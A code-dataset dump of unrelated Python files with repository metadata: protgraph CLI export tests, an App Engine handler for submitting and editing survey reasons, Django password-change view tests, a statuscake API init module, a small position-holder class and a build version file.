protgraph.prot_graph(**args) def test_statistics_possibilites(self): args = protgraph.parse_args(["-cnp"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_statistics_miscleavages(self): args = protgraph.parse_args(["-cnpm"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_statistics_hops(self): args = protgraph.parse_args(["-cnph"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_dot(self): args = protgraph.parse_args(["-edot"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_csv(self): args = protgraph.parse_args(["-ecsv"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_lcsv(self): args = protgraph.parse_args(["-elcsv"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_graphml(self): args = protgraph.parse_args(["-egraphml"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_gml(self): args = protgraph.parse_args(["-epickle"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_pickle(self): args = protgraph.parse_args(["-egml"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_pcsr(self): args = protgraph.parse_args(["-epcsr"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_bpcsr(self): args = protgraph.parse_args(["-ebpcsr"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_lpcsr(self): args = protgraph.parse_args(["-elpcsr"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_lbpcsr(self): args = protgraph.parse_args(["-elbpcsr"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_pep_fasta(self): args = protgraph.parse_args(["-epepfasta", "--pep_fasta_hops", "2"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_pep_trie(self): args = protgraph.parse_args(["-epeptrie", "--pep_fasta_hops", "2"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_export_pep_sqlite(self): args = protgraph.parse_args(["-epepsqlite", "--pep_sqlite_hops", "2"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_issue8(self): args = protgraph.parse_args(["-n", "1", os.path.join(self.examples_path, "Q9QXS1.txt")]) protgraph.prot_graph(**args) def test_issue13(self): args = protgraph.parse_args(["-n", "1", os.path.join(self.examples_path, "F1SN05.txt")]) protgraph.prot_graph(**args) def test_issue41(self): args = protgraph.parse_args(["-n", "1", "-epepfasta", os.path.join(self.examples_path, "P49782.txt")]) protgraph.prot_graph(**args)
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0.0625
0.151786
0.196429
0.815848
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0.587054
0.561384
0.561384
0.540179
0
0.005185
0.195935
5,757
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0.769065
0.003995
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0
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false
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3
1e9c3050599f663b533b1cb0a02ba2db691c8a25
10,680
py
Python
submitReason.py
converj/reasonSurvey
dd40784da4b07cfeb9fd873bab820d627cb026c1
[ "Apache-2.0" ]
null
null
null
submitReason.py
converj/reasonSurvey
dd40784da4b07cfeb9fd873bab820d627cb026c1
[ "Apache-2.0" ]
null
null
null
submitReason.py
converj/reasonSurvey
dd40784da4b07cfeb9fd873bab820d627cb026c1
[ "Apache-2.0" ]
null
null
null
# Import external modules from google.appengine.ext import ndb import json import logging import os import webapp2 # Import app modules from configuration import const as conf import httpServer import linkKey import proposal import reason import requestForProposals import user import text from text import LogMessage class SubmitNewReason(webapp2.RequestHandler): def post(self): logging.debug(LogMessage('SubmitNewReason', 'request.body=', self.request.body)) # Collect inputs requestLogId = os.environ.get( conf.REQUEST_LOG_ID ) inputData = json.loads( self.request.body ) logging.debug(LogMessage('SubmitNewReason', 'inputData=', inputData)) linkKeyStr = inputData.get( 'linkKey', None ) proposalId = str( int( inputData.get( 'proposalId', None ) ) ) proOrCon = inputData.get( 'proOrCon', None ) reasonContent = text.formTextToStored( inputData.get('reasonContent', '') ) browserCrumb = inputData.get( 'crumb', '' ) loginCrumb = inputData.get( 'crumbForLogin', '' ) logging.debug(LogMessage('SubmitNewReason', 'linkKeyStr=', linkKeyStr, 'proposalId=', proposalId, 'proOrCon=', proOrCon, 'reasonContent=', reasonContent, 'browserCrumb=', browserCrumb, 'loginCrumb=', loginCrumb)) # User id from cookie, crumb... responseData = { 'success':False, 'requestLogId':requestLogId } cookieData = httpServer.validate( self.request, inputData, responseData, self.response ) if not cookieData.valid(): return userId = cookieData.id() # Check reason length. if not httpServer.isLengthOk( reasonContent, '', conf.minLengthReason ): return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.TOO_SHORT ) # Retrieve link-key record linkKeyRec = linkKey.LinkKey.get_by_id( linkKeyStr ) if linkKeyRec is None: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey not found' ) logging.debug(LogMessage('SubmitNewReason', 'linkKeyRec=', linkKeyRec)) if linkKeyRec.loginRequired and not cookieData.loginId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.NO_LOGIN ) # Retrieve proposal record proposalRec = proposal.Proposal.get_by_id( int(proposalId) ) if proposalRec is None: return httpServer.outputJson( cookieDataresponseData, self.response, errorMessage='proposal not found' ) logging.debug(LogMessage('SubmitNewReason', 'proposalRec=', proposalRec)) # Verify that reason belongs to linkKey's request/proposal, and check whether frozen requestId = None if linkKeyRec.destinationType == conf.PROPOSAL_CLASS_NAME: if proposalId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='proposalId != linkKeyRec.destinationId' ) if proposalRec.hideReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasons hidden' ) if proposalRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN ) elif linkKeyRec.destinationType == conf.REQUEST_CLASS_NAME: requestId = proposalRec.requestId if requestId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='requestId != linkKeyRec.destinationId' ) # Retrieve request-for-proposals, and check whether frozen requestRec = requestForProposals.RequestForProposals.get_by_id( int(requestId) ) if not requestRec: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='requestRec is null' ) if requestRec.hideReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasons hidden' ) if requestRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN ) else: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey destinationType=' + linkKeyRec.destinationType ) # Retrieve any existing identical reason, to prevent duplicates existingReasons = reason.Reason.query( reason.Reason.requestId==requestId , reason.Reason.proposalId==proposalId , reason.Reason.proOrCon==proOrCon , reason.Reason.content==reasonContent ).fetch( 1 ) if existingReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.DUPLICATE ) # Construct new reason record reasonRecord = reason.Reason( requestId=requestId, proposalId=proposalId, creator=userId, proOrCon=proOrCon, allowEdit=True ) reasonRecord.setContent( reasonContent ) # Store reason record reasonRecordKey = reasonRecord.put() logging.debug(LogMessage('SubmitNewReason', 'reasonRecordKey=', reasonRecordKey)) # Display reason reasonDisplay = httpServer.reasonToDisplay( reasonRecord, userId ) responseData.update( { 'success':True, 'reason':reasonDisplay } ) httpServer.outputJson( cookieData, responseData, self.response ) # Mark proposal as not editable. if proposalRec.allowEdit: proposal.setEditable( proposalId, False ) class SubmitEditReason(webapp2.RequestHandler): def post(self): logging.debug(LogMessage('SubmitEditReason', 'request.body=', self.request.body)) # Collect inputs requestLogId = os.environ.get( conf.REQUEST_LOG_ID ) inputData = json.loads( self.request.body ) logging.debug(LogMessage('SubmitEditReason', 'inputData=', inputData)) linkKeyStr = inputData.get( 'linkKey', None ) reasonId = str( int( inputData.get( 'reasonId', None ) ) ) reasonContent = text.formTextToStored( inputData.get('inputContent', '') ) browserCrumb = inputData.get( 'crumb', '' ) loginCrumb = inputData.get( 'crumbForLogin', '' ) logging.debug(LogMessage('SubmitEditReason', 'linkKeyStr=', linkKeyStr, 'reasonId=', reasonId, 'reasonContent=', reasonContent, 'browserCrumb=', browserCrumb, 'loginCrumb=', loginCrumb)) # User id from cookie, crumb... responseData = { 'success':False, 'requestLogId':requestLogId } cookieData = httpServer.validate( self.request, inputData, responseData, self.response ) if not cookieData.valid(): return userId = cookieData.id() # Check reason length. if not httpServer.isLengthOk( reasonContent, '', conf.minLengthReason ): return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.TOO_SHORT ) # Retrieve link-key record linkKeyRec = linkKey.LinkKey.get_by_id( linkKeyStr ) if linkKeyRec is None: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey not found' ) logging.debug(LogMessage('SubmitEditReason', 'linkKeyRec=', linkKeyRec)) if linkKeyRec.loginRequired and not cookieData.loginId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.NO_LOGIN ) # Retrieve reason record reasonRec = reason.Reason.get_by_id( int(reasonId) ) if reasonRec is None: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reason not found' ) logging.debug(LogMessage('SubmitEditReason', 'reasonRec=', reasonRec)) # Verify that reason belongs to linkKey's request/proposal if linkKeyRec.destinationType == conf.PROPOSAL_CLASS_NAME: if reasonRec.proposalId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasonRec.proposalId != linkKeyRec.destinationId' ) # Retrieve proposal record, and check whether frozen proposalRec = proposal.Proposal.get_by_id( int(reasonRec.proposalId) ) if not proposalRec: return httpServer.outputJson( cookieDataresponseData, self.response, errorMessage='proposalRec is null' ) if proposalRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN ) elif linkKeyRec.destinationType == conf.REQUEST_CLASS_NAME: if reasonRec.requestId != linkKeyRec.destinationId: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='reasonRec.requestId != linkKeyRec.destinationId' ) # Retrieve request-for-proposals, and check whether frozen requestRec = requestForProposals.RequestForProposals.get_by_id( int(reasonRec.requestId) ) if not requestRec: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='requestRec is null' ) if requestRec.freezeUserInput: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.FROZEN ) else: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage='linkKey destinationType=' + linkKeyRec.destinationType ) # Verify that proposal is editable if userId != reasonRec.creator: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.NOT_OWNER ) if not reasonRec.allowEdit: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.HAS_RESPONSES ) # Retrieve any existing identical reason, to prevent duplicates existingReasons = reason.Reason.query( reason.Reason.requestId==reasonRec.requestId , reason.Reason.proposalId==reasonRec.proposalId , reason.Reason.proOrCon==reasonRec.proOrCon , reason.Reason.content==reasonContent ).fetch( 1 ) if existingReasons: return httpServer.outputJson( cookieData, responseData, self.response, errorMessage=conf.DUPLICATE ) # Update reason record reasonRec.setContent( reasonContent ) reasonRec.put() # Display reason. reasonDisplay = httpServer.reasonToDisplay( reasonRec, userId ) responseData.update( { 'success':True, 'reason':reasonDisplay } ) httpServer.outputJson( cookieData, responseData, self.response ) # Route HTTP request app = webapp2.WSGIApplication([ ('/newReason', SubmitNewReason) , ('/editReason', SubmitEditReason) ])
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3
1ea9efb4fb19e24813db0928c0ed0206e678e2ed
2,605
py
Python
accounts/tests/test_password_change_done.py
chrstsrs/ToDoList
8e13c5a8f6cabad0cf3f715ba9134dd82a46cc3e
[ "MIT" ]
1
2019-01-18T07:47:04.000Z
2019-01-18T07:47:04.000Z
accounts/tests/test_password_change_done.py
chrstsrs/ToDoList
8e13c5a8f6cabad0cf3f715ba9134dd82a46cc3e
[ "MIT" ]
6
2020-02-11T23:33:32.000Z
2022-03-11T23:38:01.000Z
accounts/tests/test_password_change_done.py
chrstsrs/todolist
8e13c5a8f6cabad0cf3f715ba9134dd82a46cc3e
[ "MIT" ]
null
null
null
from django.contrib.auth import views as auth_views from django.contrib.auth.models import User from django.urls import resolve, reverse from django.test import TestCase class PasswordChangeDoneIntoAccountTests(TestCase): def setUp(self): self.user = User.objects.create_user( username='tom', email='tom@dumy.com', password='asdf1234') self.client.login(username='tom', password='asdf1234') def test_password_change_done_view_url_exists_at_desired_location(self): response = self.client.get('/accounts/settings/password/done/') self.assertEquals(response.status_code, 200) def test_password_change_done_view_status_code(self): url = reverse('accounts:password_change_done') response = self.client.get(url) self.assertEqual(response.status_code, 200) def test_password_change_done_view_uses_correct_template(self): response = self.client.get(reverse('accounts:password_change_done')) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, 'accounts/password_change_done.html') def test_password_change_done_view_uses_base_template(self): response = self.client.get(reverse('accounts:password_change_done')) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, 'base.html') def test_password_change_done_url_resolves_the_correct_view(self): view = resolve(reverse('accounts:password_change_done')) self.assertEquals(view.func.view_class, auth_views.PasswordChangeDoneView) def test_password_change_done_contains_link_home(self): password_change_done_url = reverse('accounts:password_change_done') home_url = reverse('home') response = self.client.get(password_change_done_url) self.assertContains(response, 'href="{0}"'.format(home_url)) def test_password_change_done_contains_link_password_change(self): password_change_done_url = reverse('accounts:password_change_done') password_change_url = reverse('accounts:password_change') response = self.client.get(password_change_done_url) self.assertContains(response, 'href="{0}"'.format(password_change_url)) class LoginRequiredPasswordChangeTests(TestCase): def test_password_change_done_redirection(self): url = reverse('accounts:password_change_done') login_url = reverse('accounts:login') response = self.client.get(url) self.assertRedirects(response, f'{login_url}?next={url}')
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3
949a575e64bb72e464301f15610f9e5cb6055022
760
py
Python
statuscake/apis/__init__.py
StatusCakeDev/statuscake-py
267f485e6c18a6ed6e17667ceaddfce6271ec4af
[ "MIT" ]
null
null
null
statuscake/apis/__init__.py
StatusCakeDev/statuscake-py
267f485e6c18a6ed6e17667ceaddfce6271ec4af
[ "MIT" ]
null
null
null
statuscake/apis/__init__.py
StatusCakeDev/statuscake-py
267f485e6c18a6ed6e17667ceaddfce6271ec4af
[ "MIT" ]
null
null
null
# flake8: noqa # Import all APIs into this package. # If you have many APIs here with many many models used in each API this may # raise a `RecursionError`. # In order to avoid this, import only the API that you directly need like: # # from .api.contact_groups_api import ContactGroupsApi # # or import this package, but before doing it, use: # # import sys # sys.setrecursionlimit(n) # Import APIs into API package: from statuscake.api.contact_groups_api import ContactGroupsApi from statuscake.api.locations_api import LocationsApi from statuscake.api.maintenance_windows_api import MaintenanceWindowsApi from statuscake.api.pagespeed_api import PagespeedApi from statuscake.api.ssl_api import SslApi from statuscake.api.uptime_api import UptimeApi
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3
94a709c7f27ee0b74f048f79e1615f51f51da338
353
py
Python
py/helpers/position.py
mezhov/goArm
c066f9ee28fd26bb3f53352ee8508f388b71c499
[ "BSD-3-Clause" ]
null
null
null
py/helpers/position.py
mezhov/goArm
c066f9ee28fd26bb3f53352ee8508f388b71c499
[ "BSD-3-Clause" ]
null
null
null
py/helpers/position.py
mezhov/goArm
c066f9ee28fd26bb3f53352ee8508f388b71c499
[ "BSD-3-Clause" ]
null
null
null
class PositionHolder: def __init__(self, p=''): self._position = [] @property def position(self): return self._position @position.setter def position(self, new_position): # check for new moves # emit moves to UI if needed self._position = new_position def emit_move(self): pass
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3
94d1665972f91bfcdbc4a5f569453d0ea57d3e9e
155
py
Python
res_mods/mods/packages/xvm_battle/python/__version__.py
peterbartha/ImmunoMod
cbf8cd49893d7082a347c1f72c0e39480869318a
[ "MIT" ]
null
null
null
res_mods/mods/packages/xvm_battle/python/__version__.py
peterbartha/ImmunoMod
cbf8cd49893d7082a347c1f72c0e39480869318a
[ "MIT" ]
1
2016-04-03T13:31:39.000Z
2016-04-03T16:48:26.000Z
res_mods/mods/packages/xvm_tooltips/python/__version__.py
peterbartha/ImmunoMod
cbf8cd49893d7082a347c1f72c0e39480869318a
[ "MIT" ]
null
null
null
# This file was created automatically from build script __revision__ = '7581' __branch__ = 'default' __node__ = 'c386bcd24648e215a00249e32d2d4bbd1a6992db'
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